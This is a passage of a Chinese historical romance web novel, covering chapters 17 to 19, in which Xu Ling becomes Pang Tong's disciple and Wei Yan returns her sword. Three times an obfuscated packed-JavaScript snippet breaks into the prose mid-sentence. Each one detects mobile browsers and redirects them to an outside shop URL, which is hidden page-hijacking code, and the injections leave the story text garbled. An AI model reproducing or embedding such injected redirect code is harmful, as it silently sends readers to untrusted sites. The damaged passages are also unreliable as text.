血缘、姻亲、师承,是这世间最重要的联系。庞统出身南州士族,又深受刘备信任,若能摇身一变成为他的弟子,就可以慢慢淡化徐庶族侄的身份。现在夏侯氏追兵已经暂时失去了她的踪迹,如此改头换面之后,就更能摆脱这个心腹大患,诱惑不可谓不丰厚。但诸葛亮同样是荆襄名士,又是伯父指定的托孤之人,现在连他的面都没见到就擅自改弦更张,总感觉亏了点什么。 将她的犹豫尽收眼底,庞统笑意更深,几枚石子飞落湖心,由近及远的水漂此起彼伏,颠簸出欢腾的纹路: “徐子衿,岁不我与、时不再至。” 徐绫的视线凝固在面前的案几上,画纸和漆笔已经被分隔到两边,泾渭分明。她知道自己只有这一次机会,而且因为对另一个选项全然未知,连权衡都无从谈起。 她用目光细细描摹着一气呵成的夏侯府详图,神识却飘向了那幅益州全境舆图。分明仅仅短暂看过几眼,可一旦想起那些线条和脉络,就会有莫名的豪情热意从心底激荡而出,似乎胸中再无块垒,只剩下铿锵有力的心跳在不停鼓噪。 她收回目光,低头仔细整理好衣襟,并紧双腿、直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486433|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身正坐,从旁边取过细布浸了水,将双手擦拭干净,然后抬起双臂,手掌交叠于身前,恭谨下拜: “晚辈颍川徐绫,冒昧趋庭,欲执弟子礼。事起仓促,不曾备有束脩,心实惶愧。暂以诚心为贽,他日随大军进驻成都,必奉六礼以补前愆。自今以后,当谨守师训,朝夕请益,不敢稍怠。伏惟先生不弃,赐以教诲,则绫幸甚。” “子衿请起,统亦幸甚。” 庞统放下麈尾,双手托举她的胳膊将徐绫扶起,眼中光华流转,恍若春日盛景。 “虚礼到此为止就好,”庞统松开手,重新拿起小扇,换了一个闲适的坐姿,“说起来,你既然持有左将军赠予元直的玉环,也知道他们之间的君臣旧谊,为什么不去争取左将军,却要退而求其次,选择长公子呢?” 徐绫愣了一下,觉得庞统简直就是明知故问。她对刘备身边诸人事的唯一消息来源就是徐庶,徐庶与刘封有师生之谊,刘封又是刘备膝下唯一的成年公子。虽然他几次对自己的示好无动于衷,也缺乏在关键时刻为麾下僚属冒险进言的胆气,但无论亲缘联结还是现实考量,即使她不向刘封靠拢,他们之间也不可能毫无瓜葛。既然如此,当然不妨主动些,才能占据更多份量。至于刘备…… “叔父的意思是……”徐绫拧紧眉头,瞄了他一眼,有些艰难地开口,“我应该想办法嫁给左将军?虽然也不是不行,但他已年过半百,我才十七——” “徐子衿。” 庞统打断她的话,凉飕飕问道: “元直身体可否康健?” “……还算康健。” 徐绫不知道庞统为什么忽然岔开话题,下意识应了一句。庞统嗤笑一声,伸过小扇,照着她的脑袋狠狠敲了一下: “有你这样不成器的子侄,他还能身体康健,真是难得。” ……庞、士、元! 徐绫咬牙切齿,庞统也没好气地翻了个白眼: “待攻下雒城,成都指日可破,左将军横跨荆益二州,就在须臾之间。攻城略地固然不易,士族归心更是艰难。益州世家盘根错节,甄别挑选都需要时间,但民生治理与备战操练却一刻都迟缓不得。当此用人之时,许多特例开了也就开了。你若能在仕林站稳脚跟,一方面不枉费元直对你的教导。另一方面,如今左将军有两位亲子,除非长公子立下奇功、承继伟业,否则他日必定身份尴尬。即使心甘情愿对幼弟俯首称臣,别人会信么?” 想到那枚刻着副军之印的龟钮金印,徐绫微微启唇想反驳什么,但庞统挥扇示意她先听自己说完: “不过婚姻之事,确实重要。你千里逃命、一路奔波,为的不就是寻一个安稳之地么?你在邺城是颍川小族,但进入成都以后,可就是左将军故友血脉,当地世家会很乐意让你成为他们郎君新妇的。这可比做长公子夫人好多了,毕竟,他还不知道要娶几位夫人呢!” 庞统的桃花眼在徐绫脸上打量一圈,唇边逸散出一丝狡黠笑意: “以你的容貌和手腕,让那些益州小郎君对你倾心,应该不难。” “多谢叔父夸奖。” 见徐绫乖巧应了一声,脸不红心不跳,坦然又自信,庞统忍俊不禁,刚想刺她一句,旋即又克制住了。左右张望一圈,瞥见案几附近那些堆叠杂乱的画纸和笔墨,眉尖立刻拢了起来: “你收拾一下,搬到我那里。去了以后,可不许这样到处乱放东西。” “……哦,知道了。” 徐绫这次回答得就一点也不乖巧,而且既不坦然也不自信。 17. 十七 近乡情怯 如徐绫猜测的那样,庞统去找她之前,诸葛亮的回信送达至中军大帐。不过与之同一天到来的,还有一卷帛书。 截然不同于诸葛亮公函的简朴装帧,这卷帛书的织锦带有乳玉般的光泽,暗藏于经纬间的金丝纹理随着展开书信的动作若隐若现。绢缯和墨液都被精心熏染和调制过,凑近阅读时,清冽幽香逸散而出,刘备皱了皱眉: “季玉竟向张公祺求援。” 刘璋写给张鲁的求援信言辞卑微。他回顾了少年时与张鲁亲如兄弟的情谊、痛斥了刘备背信弃义的行径,最后晓以利害,恳请公祺兄长从阳平关出兵,与他南北夹击刘备。信中还说,早就听闻兄长幼子张溢文武兼济。江州物资丰饶,正适合张溢贤侄前来大展鸿图。虽然自己小女阿戴才十岁,但若能有张溢贤侄这样的夫婿,那真是无上福气啊!由于刘备兴不义之兵,成都与汉中往来不便,愚弟无法将早已备好的厚礼随使者尽数抵达,权以小小馈赠聊表心意,待驱逐奸贼,另有重酬。 礼单与帛书封装在同一只函匣中:一箱金银、一箱蜀锦绸缎、一箱珍稀药品、一箱上好香料,以及数匹高大战马。 见刘备和庞统都全神贯注于这封书信,站在案前几步远的魏延趁机悄悄整理了一下衣襟与束带。 虽然身型依旧魁梧挺拔,但与一个月前离营时相比已经小了一圈。胡茬有些凌乱,眼白爬上了蛛网似的红丝,眼窝略微凹陷,映出一轮淡淡的青灰。但那双朗星般的瞳眸依旧炯然有神,在略有昏暗的大帐里熠熠生辉。 魏延身上是一件刘备刚刚赏赐的蜀锦绣袍。这并非他习惯的布料与样式,但旧衣因为路途艰险而破烂不堪,刘备特意命他先去更衣,再回来汇报军务。想到穿着褴褛出入中军大帐确实失仪,而且刘备相赠时目光诚恳、让他完全无法推辞,只好恭敬谢恩。只是他还惦记着此次汉中之行的诸多要务,换好之后无暇整理,就匆匆返回大帐。 “文长方才提到,西凉马超投奔了张鲁,张鲁还借兵给他去攻打祁山?” 庞统的目光终于从帛书上移开,重新拿起麈尾,握在手中一动不动。魏延拱手应道: “正是。某以领赏金为名,借冯武与其五斗米道匪友之手,与夏侯府僚属在汉中会面,却被告知夏侯渊已领大军出长安,待其归来查验徐绫首级为真,方可兑赏。某佯作不忿,那人便说,陇上姜叙闻马超、张鲁联军至,向关中求援,于是曹操亲点夏侯渊。之后那人又预支一半赏金给我,应该确实事出突然。不过另有两桩事,某以为极不符常理。” “文长且试言之。” 刘备温声鼓励道,将手中帛书置于案上,对他露出期许的目光。魏延稍作斟酌,回答说: “其一,陇上守军姜叙、杨阜,皆非庸将。张鲁既愿意襄助马超灭此二人,当兴兵数万,方可与之一战。汉中户出十万、又得三辅流民数万户,固然府库充盈。然而,调遣数万大军,各郡县却并未征发粮谷,难道真就富庶至此么?其二,夏侯府僚属在汉中往来自如,可见张鲁并未封关锁隘以避免细作渗入。而夏侯渊亲率大军平陇,所谋定然非小,竟也不惧张鲁偷袭长安。双方在雍凉生死拼争,却为何不对自家腹地严加防范?” “那么以文长所见,是何缘故?” 刘备继续问道,身体微微前倾,眼中笑意更深。魏延拢了拢眉心,眸光迟疑。他抬眼迅速朝上首两人瞥去,见他们齐齐望向自己,并无取笑或为难之意,于是定了定神,开口道: “以某浅见,张鲁既非真心襄助马超,也不想投降曹操,故而首鼠两端。只盼雍凉事定,便可继续在汉中安枕而卧。” “若文长是此时主政汉中之人,会作何取舍?” “……我?” 魏延星目圆睁,一眨不眨,呆愣愣望向刘备。汉中是巴蜀北边门户。安危所系,若想益州稳固,不仅必取此地、还需有上将镇守。且不说如今成都还未曾攻克,就单论他的部曲出身和浅显资历,哪里敢肖想汉中呢?刘备脸上掠过一丝极轻的怔然,似乎也没想到自己就这样自然而然地问了出来。但他没有掩饰什么,只是将礼单朝魏延递去: “文长此番辛苦,季玉这些东西,你拿去与此次随行汉中的部卒们分了吧。” “延微末之功,不敢领受如此厚赏。” 魏延单膝跪地,刘备却起身绕过案几,将他扶了起来: “既然文长觉得不妥,就再费心多分几份,匀给先锋营诸位将士。寒候将至、大战在即,还有千钧重担要仰仗他们。” 魏延喉结滚动,却只低低发出了一声带有哽咽的“是”。刘备拍了拍他的肩膀,继续说: “明日要升帐,你今晚就留宿中军营吧。” 已然过了飧食时间,魏延却毫无饥感,满腔满腹都翻涌着难以名状的澎湃情潮。主政汉中?主政汉中! 他紧紧抿着唇点了点头,再次朝刘备与庞统抱拳行礼,转身离开。瞧着他的背影,庞统摇起麈尾,桃花眼里一片灿然韶光。一转头,刚巧与刘备的视线交汇,两人相视一笑。 “士元如何看待张鲁此举?” “刘璋当年诛杀了张鲁母亲与族中兄弟,此时还敢嫁女送礼以求援军,可见已是末路穷途。雍凉之地,进可沿渭水直取长安、退可凭陇山固守,张鲁但凡有一点进取之心,这时就应该主动与我军修好,避免腹背受敌。之后西拒夏侯渊、东援马超,以陇上诸郡良田骏马作为补充,进图中原。但如今他却如此延宕,以统之见,即便刘璋使者未曾被文长截获,张鲁也多半不会前来襄助。” 刘备略一颔首表示认可,神色也随之轻松不少。但转念之间,又轻轻叹了口气: “马孟起健勇之名,我素有耳闻。只是他昔年为拉拢韩遂而弃父兄于不顾,致使宗门两百余人被曹操所屠,之后又与韩遂彼此攻讦。如此反复,实在教人不安。可如今看此等豪杰屈居于张鲁之下,还是难免心生惜才之意。可惜益州尚未平定,不是招揽的好时机啊!” 庞统手中的小扇不知何时已停在身前,视线凝在盛装帛书的函匣上,却并未聚焦,似乎只是暂且安放一下。刘备没有催促,甚至连呼吸都放轻了,就那么静坐等待着。良久,麈尾扬起的微风重新拂面而过,庞统眼中再次漾出明灿笑意: “马超根基在羌胡,不会远离雍凉之地。他与曹操有切骨之恨,绝不能投曹。如今兵败仓皇,又无法另立门户。那么放眼周边,除了明将军,还有谁堪为雄主?只是他毕竟出身扶风大族、威名显赫多年,游说人选需得仔细斟酌。既不显得怠慢,又不可太过卑谦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486434|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “观士元神态,想必已有人选?” “江夏费观,明将军以为如何?” “费观费宾伯……” 刘备念着这个名字,眼前很快浮现出一张二十七八岁的俊秀面容。这是大军攻打绵竹时,与守将李严一同不战而降的参军。不过比起官职,他的家世更为瞩目。费氏是江夏大族,与景帝之子鲁恭王刘余这一脉汉室宗亲世代交好。费观姑母是刘璋之父刘焉的正室夫人,刘焉入蜀后,费氏随之一同迁往益州,费观自己则迎娶了刘璋的女儿,亲上加亲。这样的背景足以让马超正视以待,刘备也可以趁此机会来试一试益州士族归附之后的诚心。 绵竹与雒城相距不过百里,且一路上都是刘备军实控,星夜可达。傅肜安排段集带队,挑选了脚程最快的良马,务必确保费观赶得上明日的升帐议事。自己则与赞卡前往徐绫原先居住的那顶小帐,将陈列摆设收拾齐整,准备留给费观。 走到小帐附近,傅肜远远就看到一袭青影在那里徘徊不前,手上捏着一方不知什么东西。晚霞落在那人肩头,又随着他踌躇的步伐一路流转到袍袖和下摆。金丝与彩线绣成的瑰丽纹样在橙红的光线里交相辉映,令人一时难以分清,究竟是他身披锦袍,还是锦袍将他囫囵吞入。 魏延终于停住脚步,将捏在手里的那方包裹精致的伤药塞入怀中。空出的右掌覆在左手上,指腹从手背轻轻抚过,仿佛那里还残存着一个月前中军帐分别时,徐绫指尖敲击在那里的细细密密触感。 她……还记得自己吗? 自己可从没有一刻忘记,林间初见那晚,掷出的长刀曾在徐绫肩上划出过一道血痕。所以在她启程前往中军营的前夜,自己悄悄往那只鹿皮袋里补了许多七锦兰粉末,装在包袱里扔到了她的帐外。 她……发现了吗?带走了吗?使用了吗? 怀中伤药的味道窜入鼻腔,完全不同于七锦兰的焦苦,这方伤药闻起来像是浸了什么花蜜一般,带有松脂的甜香。听那位被刘璋派去向张鲁求援的使者说,这方伤药是蜀地圣手调配,不仅止血化瘀见效快速,更妙的是,使用过后,伤口肌肤能恢复如初,不留半点疤痕,故而命名为归明散。 她……会愿意收下吗? 对照礼单清点货品之后,魏延大概估算出一个均分之量,让部卒带回先锋营分发,自己只留下一匹黑骏高马和这一方归明散,来不及用餐就往这里赶。可每近一步,就多一缕思绪垂坠心间。走到这里时,已经沉重得让他再无法向前一步。 “文长疲惫至此还不去休息,在这里作甚?” 听见熟悉的义阳乡音响起,魏延如梦初醒。傅肜皱眉看了看他憔悴的面容,又瞄了一眼小帐,忽然心领神会: “你可是想找子衿?她如今在庞军师麾下效力,不住这里了。” 傅肜简要讲了讲这一个月以来发生在徐绫身上的事情。跟随他的描述,魏延心绪悬起又落下,一直听到最后,确认庞统对她确实没有恶意,才总算复归平定。可刚刚安稳下来,他立即又忍不住开始反复忖度傅肜对徐绫的称呼。 ……子衿? 徐绫与傅肜竟然已经熟谙至此? 是只有他们二人这样,还是徐绫与所有人都这样? 那……我呢? 18. 十八 凶什么凶 赞卡手脚麻利地把中军营一间存放记室杂物的小帐清理出一半空间,铺上一席皮窠和一方毛毡,供魏延暂住。帐内淡淡的草木腥臭与防腐用的花椒香味混杂在一起,让赞卡不禁打了个喷嚏。他看了看竹架上几乎码放到帐顶的空白竹简、木牍和帛书,再次劝魏延说营中有专门用于临时招待的客帐,还是搬过去比较好,但魏延坚持表示明日军议耽误不得,住得近一些比较踏实。 沙—— 磨石擦过剑身,发出一声低而悠长的轻响,从这间小帐悠悠传出。 片刻后,又是一声。 魏延在烛台旁盘膝而坐,握着一块巴掌大小的青砂页岩,把嗣音剑剑身遍布的无数细小划痕一点一点修整抹平。 一听傅肜告诉他说这柄短剑可以物归原主,魏延就迫不及待地要求代劳,甚至都懒得编什么理由。 这原本就是他从徐绫手里收缴而来,哪轮得到旁人去还。 而且天色已然不早,若住得太远,深夜造访女郎寝帐何其唐突,肯定又要被徐绫在那卷记录他案底的心简上添一笔罪过。 像现在这样,寸刻可达、又不至于比邻而居,才刚刚好。 他将磨石收回随身行囊,从身边木桶里一勺一勺舀起清水,从护手到剑尖,一遍一遍淋漓而下,然后顺手拎起衣摆就要擦拭。烛火摇曳,锦袍上浮起丝丝缕缕的流光。魏延盯着已经捏在指间的衣摆,顿了顿,仍旧用它将残存的水渍揩干净。松开手,蜀锦沾了水,带着一片明显更深的斑驳垂落下来,但魏延没有理会,只是继续在随身行囊中翻找着,拿出一块用粗布包裹的兽油凝脂,均匀涂抹在剑身上,最后用一张经过鞣制的牛皮小心翼翼地进行着最后的抛光。 雪亮如新的锋刃映出一双朗星眼眸,虽然布满血丝,却亮得逼人,闪烁着踟蹰不定的光。 子衿,我回来了。 ——像夫妻絮语,太孟浪,不合适。 徐子衿,你在这里。 ——像寻衅滋事,太生硬,也不合适。 徐小郎君,听伯鱼说此剑可以归还。正好我从附近路过,便替他拿过来。 ——没那么刻意,还可以顺势聊一聊两人都相熟的傅肜,很合适。 说起来,傅肜保管这柄短剑这么久,怎么也没想过帮忙清洗磨砺一下?可见他们二人也没熟到哪里去嘛! 这个念头让魏延泛出一丝侥幸的欣喜,既然傅肜都能叫她子衿,那自己做了这么多,岂不是可以叫…… 阿绫。 这个只有刘封用过的称呼一下子从心底冒了出来,魏延倏然直身而起,怀中的归明散滚烫如炭火,热得他灼痛难消。低头一看,这副仓皇模样被脚边嗣音剑的鞘面反射得一清二楚,繁复铜纹折出缤纷亮斑扑闪到脸上,比晚星更璀璨,比箭簇更锐利。 俯身拾起剑鞘,将剑刃收归其中,魏延终于迈开步伐,朝徐绫新搬入的小帐走去。 晚风将帐帷吹开一道若有似无的缝隙,能看见徐绫正伏在案上奋笔疾书,旁边散乱地摊开着许多舆图和竹简。她不时会咬着笔杆转过来寻望一番,蹙眉沉思片刻,再松开嘴,坐回来继续写写画画,似乎完全沉浸其中,留意不到帐外的任何动静。她穿的是离开先锋营时刘封特意塞给她的褐衫,身型比魏延记忆中更加成熟健秀,气色仿佛也鲜妍许多。脸上沾染了几抹墨渍,像一只花面小兽。 她在做她擅长的事情。 魏延想起傅肜简略转述的以画代书和夏侯府详图,提剑的手忽然紧了紧:这应该是徐绫投奔刘备之后,第一次不需要依靠丹青之术周旋求生,而是将其作为立身之本施展出来。他蓦地想起了那幅已经交还给夏侯府僚属的工笔仕女图以及画在一旁的夏侯称小像,当然还有那天晚上自己脱口而出的混账话。 魏延低头看了看手中这柄已经焕然一新的华美短剑,傅肜虽然没帮徐绫磨剑、但也未曾加剧她的困境,所以他们可以互称表字,那是同僚之间的礼节。可自己做过什么呢?肩上的刀伤、扯开衣襟的自证、新婚夜痛苦回忆的反复揭破。那时徐绫如此轻易地就原谅了他,是不是一种无能为力之后的妥协与讨好?如今她已不必再讨好谁,又会如何待他?不过替她磨了把剑,凭什么就敢多想? 所以,还是不要进去了吧。 魏延蹲了下来,将嗣音剑放在帐外的阴影里。正要转身离开,却听见背后传来一声招唤,清凌凌的,带着颍川口音: “魏将军。” 她还记得我! 魏延只觉千里奔波的辛劳顿时一扫而空,他猛地转身想说什么,却先感知一道劲风扑面而来,夹杂着竹片破空的细碎响动。他下意识沉肩闪避,顺势挑起嗣音剑格挡了一下。丝麻断裂的闷哑脆响从耳边传来,紧接着是许多竹片哗啦啦散开的沙沙声,可还不等魏延看清情况,另一侧立即又传来锐物破空的嗡鸣。他退入帐中,长臂舒展,横过嗣音剑正面迎向声音来处,这才发现竟然是徐绫以竹简为武器,朝他劈来。 “徐——” 没给他说话的机会,徐绫的竹简再次扑向魏延面门。虽然编绳已经断裂,但听一听萦绕周身的啸鸣就知道,即使只是些轻薄的竹片,如果被抽一下,皮肤几乎肯定会添一道红痕。如果被击中眼睛这样的要害,后果更是不堪设想。魏延凝神应战,他身材魁梧、步距宽阔,只需两步就能迅速拉开空间,随即一个箭步掠向徐绫身侧,试图荡开她手中的竹简。徐绫扭身从他臂展之间抹了过去,手腕拧转,反去刺他心口。魏延的手指已经搭上了剑柄,只需一拨一削即可化解这次攻势。 但他忽然意识到,徐绫用的是竹简,而自己手中的嗣音剑却是削铁如泥的利器。 就是这一刹那的迟疑,竹片敲击的脆响已经从相隔一段距离变为离得极近。魏延急忙转身,用后背硬挨了这一下。 一阵钝痛瞬间从肩背炸开,麻意顺着肌肉蔓延到手臂和腰腹。魏延喉间迸出一声低呜,痛感随之消解不少,只是被击中的地方仍旧残存着闷胀的酸疼。徐绫究竟想干什么?魏延眉头紧锁,将痛意按捺下去,转过身粗声道: “胡来!方才我若抽剑,你这只右手就没了。” “凶什么凶,”徐绫白他一眼,用散开的竹简戳了戳他心窝,“若我刚才拿的是嗣音剑,你这里就该被捅个对穿。” 隔着衣料的绵软触感一下一下轻轻点在心口,他与徐绫之间只隔着短短一截竹简,距离近得都能看见徐绫额头沁出的薄汗,以及侧颊上被烛火映出一轮淡淡金边的细小绒毛。魏延喉结滚动,却发不出声音。思念了一个多月的面庞忽然停在眼前,鲜活得近乎不真实。他后退几步,试图把自己缩进阴影里,举起嗣音剑往徐绫手上一塞: “还你的。” 徐绫接过短剑,方一入手,她便抬头朝暗处的魏延望去一眼。抽剑出鞘,挽了几个剑花,破空的龙吟声在安静的小帐里幽幽回响起来,极度顺滑的手感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486435|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她忍不住伸出指尖,从平整的剑脊表面缓缓抚过。魏延几乎屏住呼吸,眼睛一瞬不瞬盯在她脸上,生怕错漏了一丝一毫的表情变化。剑锋寒芒映过她眉眼,魏延似乎捕获到一丝动容,可还没等他琢磨清楚那一瞬间的神情是什么意思,就看见徐绫收剑入鞘,极为郑重地朝他躬身行礼: “承蒙将军费心,绫十分感激。” “你别……”魏延愣了一下,急忙上前几步伸手去扶,却又在碰到她胳膊时迅速撤回,“不足挂齿的小事罢了,哪里值得这样。” 徐绫直身而起,目光从他袍袖间如花似锦的纹样掠过,定格在下颌冒出的那一丛参差不齐的青茬上: “将军最近……不在先锋营当值么?” “没有,刚从汉中回来。” 魏延应了一句,继而忽然想到什么,赶紧补充说: “夏侯渊已领兵出长安平陇上,一时半会儿回不了府,没法再派新的追兵出来。我送了颗假头颅过去,说不定他就信了。便是不信,消息断绝这么久,又隔着崇山峻岭,你如今身份还是庞军师弟子,他很难再查到你身上。” 徐绫定定望着他,久久注目于那双血丝密布的疲惫瞳眸,轻声道: “多谢你安慰我,听完以后放心多了。” “……据实而论,不算安慰。” 魏延视线游移、四下乱飘,语气也随之染上了明快的调子。徐绫莞尔一笑,点了点头: “那就不算吧。” 她放下短剑,回身倒了一碗蜜水递给魏延。魏延伸手去接,指尖和徐绫在碗底稍稍一触,立刻蜷缩起来,好在徐绫没有放手,才不至于整碗洒落在地。魏延轻咳一声,指了指案几: “放那里就好。” 徐绫把陶碗置于案上,很快就被他拿起,咕咚咕咚一饮而尽。徐绫眨眨眼,又把案几远端的一盘黍饼挪到近前,自己拎着嗣音剑走到烛台旁,借助火光的亮度,开始认真研究起镶嵌在剑鞘上的那些玉石纹路,好像第一次见到似的。魏延三两下把那些黍饼塞进嘴里,刚嚼几口,一团热意烘得他胸口发胀,嗓子也跟着收紧,差点就要咽不下去。 “徐子衿。” 他摸了摸胸口怀揣的归明散就要拿出来,余光却忽然发现,在案几旁边不远处一只散开的包袱里,放着一方完全相同的伤药,而且已经用掉大半。如此名贵的伤药,魏延不必细想就知道,多半又是刘封送的。一股难以名状的难堪顿时涌了上来,魏延忽然觉得自己今天所有行为都非常可笑,他大步朝帐外走去,从徐绫身前经过时目不斜视,连她眼底骤然亮起的笑意也硬是当作没瞧见。 “将军没有别的事了?” 已经走到帐门的魏延被徐绫叫住,他霍然回头,眼中翻涌着无数说不清道不明的混乱情绪,最后垂下脑袋,颓丧地摇了摇。 “当真没有别的事了?” 徐绫的声音再次响起,她站在红彤彤的烛光里,屈指拨了拨鼻尖。早在与魏延交手时,她就嗅到过那股熟悉的气味,清甜里带一点樟木似的凉意,是归明散没错了。魏延仍旧垂着脑袋,但深吸了一口气,咬了咬牙,从怀中猛地掏出了那方装帧精美的伤药,闷头几步走向案几,啪的一声把东西拍在案几上,然后一阵风似的落荒而逃。被大力掀开的帘幕还在悠悠荡荡地晃着,徐绫看了看案几上的伤药,又望了望帐外已然不见五指的漆黑夜色,噗嗤一声失笑出来: “凶什么凶。” 19. 十九 貌离神合 魏延翻了个身。 刚搬入这间小帐时,他一门心思都扑在磨剑上,对周遭气味毫无知觉。现在躺进皮窠以后,鼻腔充斥着竹简的醇香与花椒的辛凉,浓郁绵长,干冽之余还掺杂了少许酸腐的霉味。挥之不去,令人辗转难眠。赞卡说得没错,这里确实不适合留居,他应该听劝的。 魏延起身披上锦袍,掀开帷幕走到外面吹风透气。星月黯淡、夜已深沉,不远处的徐绫小帐却仍透出影影绰绰的亮光。虽说刘备军眼下最要紧的任务依旧是攻克雒城、进占成都,但既然知道陇右生变,想来明日升帐军议之时,也会顺势就此与大家商讨一番对策。 二十多年前,张鲁奉时任益州牧刘焉之命征伐汉中,并顺势割据于斯,随后将其更名为汉宁。刘焉死后,刘璋与张鲁反目,汉中与蜀地之间通讯彻底断绝。因此,军中多半并无汉中与陇右舆图,而徐绫如今身为庞统麾下书佐,这些庶务自然就落在了她的头上。 魏延虽然没去过陇右,但他刚从汉中回来,还画了图的! 他蓦地转身,大步回到皮窠旁,点亮烛火,在随身行囊里快速翻找着什么。帘幕被帐钩固定住,晚风长驱直入,蜡炬的焰尾被扯动成一道弧,映在那双朗星似的瞳眸里,尾巴尖一跳一跳的,雀跃着急切的光。 很快,他就找出了一卷麻布,凑近烛火细细查看。这是他往返汉中时,用炭笔标注的诸多地形与水文见闻。他没学过绘图,画出来的东西自然谈不上美观。翻越米仓山的路途中也无法妥帖保管,因此,若只是粗略望去,会觉得这就是一团乱糟糟脏兮兮的破烂布头。 晚风不知什么时候已经止息,火苗也变得微弱。魏延垂下脑袋,那卷麻布被他攥在手里,显得更加灰突突皱巴巴了。他索性吹熄烛火,眼睛与夜色融为一体,晦暗如墨。 他把麻布塞进怀中,枕着手臂又躺了回去。肩膀稍一用力,牵动出一阵断断续续的酸疼。那是被徐绫用竹简击中的地方,她那一下既准又狠,不像随手招呼,而是完全没有留力,可见当时一定气极了。 那她在气什么呢? 当然,徐绫有很多值得生气的理由。那卷记着他一桩桩一件件罪行的心简,随便翻出哪一条来当做打他的依据,都不算冤枉。若每罚一次、就当真能勾销一笔,那魏延甚至觉得徐绫最好再多打两次,反正他皮糙肉厚,受得住。 他在徐绫那里的罪状第一条,估计就是林间初见。兵刃越短、进攻时就必须消耗更多力气去贴近对手,因此敢于持短兵者,一定身法迅捷、招式精妙。而像他这样出身黔首的武人,只能靠一腔蛮力,是没地方学什么身法什么招式的。徐绫那柄短剑伤痕斑斑,可见经历过许多厮杀,确实是她的随身佩剑。拥有这样的武学造诣,却在又累又饿之时被自己擒获,一定输得极不甘心。 现在徐绫吃饱喝足了,想把这件事报复回来,也在情理之中。自己今夜虽然挨了打,但那是因为双方兵刃不对等,所以才主动落败,应该不能算已勾销吧?要么两个人都用竹简、要么两个人都用真剑,如此才称得上公平,公平的交手结果才配得上以输赢相论。徐绫毕竟还年轻,交手经验不足,而且骨架未成、臂展也不够,如果堂堂正正比试一次,应该还是自己赢面多一些。 魏延越想越认真,心里已经排出了三五种拆解之法,于是颇有些得意地哼笑起来。这一出声,让他顿时从半梦半醒之中回神:自己怎么还当回事似的正经琢磨起来了?明明刘备曾多次告诫他,军营之中不许耍凶斗狠的。 魏延悻悻然抿了抿唇,一丝淡淡的甜意忽然落在舌尖,又一路滑到心底。 那是蜜水的味道。 他从脑后抽出一只手,指腹从唇珠一点一点抚蹭到嘴角,又一点一点划了回去。 如果徐绫真的气极了,为什么还给他倒水、又让他吃黍饼? 魏延将今夜种种从头到尾回忆一遍。于是,徐绫的一颦一笑都无比清晰地在脑中叠现出来。抽丝剥茧之后,最终只留下一句问话反复冲击着他的耳膜:将军最近……不在先锋营当值么? 当时魏延只觉这句话问得寻常,可现在想想,其实并不寻常:徐绫竟然默认他会来看她? 而且最关键的是,自己险些忘了,徐绫先前并不知道他去了汉中啊!从徐绫视角来看,先锋营与中军营不过相隔四五里,他却自中军大帐一别之后,一个多月间再未露面。今日来了,远远放下东西竟又要走。 如果……如果徐绫是因此而生气呢? 这个念头一冒出来,魏延整个人倏地坐直,怀里归明散残余的药气此时全都窜了出来,让他连呼吸都变得急促。 徐绫……不是也没睡么? 有没有可能……徐绫此时也在因为他而困扰? 徐绫确实没睡。 庞统将张松所献的益州舆图、白水关一路筛出的旧图志、以及霍峤命人自葭萌向北绘成的略图都一并交给了她,要她连夜理出一幅汉中与陇右简图,以备明日升帐议事。此时,徐绫直身跪坐于案几前,手中的笔锋走得极快,目光却渐渐不再停留于身边散乱摊开的竹简与帛图,而只盯着毫尖起落的走势。几笔转折,米仓山的轮廓已自纸上拔起。 汉中入蜀这一段,她毕竟亲自走过,于是,那些散乱在不同图志的点线在她眼里渐渐有了筋骨。山势、河道、关隘、聚落,渐次浮现出来。虽然未曾亲至陇右,但汉中一带画定之后,再去看关于陇右的那些舆图竹简,竟也慢慢有了思路,开始能分辨出哪一幅可为蓝本,哪一幅已不堪再用。待到动笔之时,她仿佛已经见到了逶迤而北的祁山、见到了西汉水与故道水相汇而成的成徽沃野、见到了人迹断绝的摩天岭、见到了终年积雪的岷山。 今年的节气颇有些不寻常,孟冬已过,白天却仍然暖和得很,只有深夜才会霜寒露重,觉出些许冬意。但徐绫此时却感受不到半点寒凉,褐衫的宽大衣袖被她用襻膊一直收紧到肘腋,露出两条紧实有力的蜜色手臂。一手撑案、一手执笔,画到墨淡时也不转头,只是用左手摸索着墨锭胡乱研磨几下。整个人像是被什么东西点着了,全然沉浸在亢奋之中,连双颊都漫出一点灼人的红。 魏延也不知道自己怎么就走到了这里,他怔怔望向帐内:徐绫当然没有因为他而困扰。不仅是今夜与他有关的一切,而是世间万事万物,此时在徐绫眼中都如同过眼即散的烟云,唯有面前这份公务值得她夙兴夜寐。 自己果然又自作多情了。 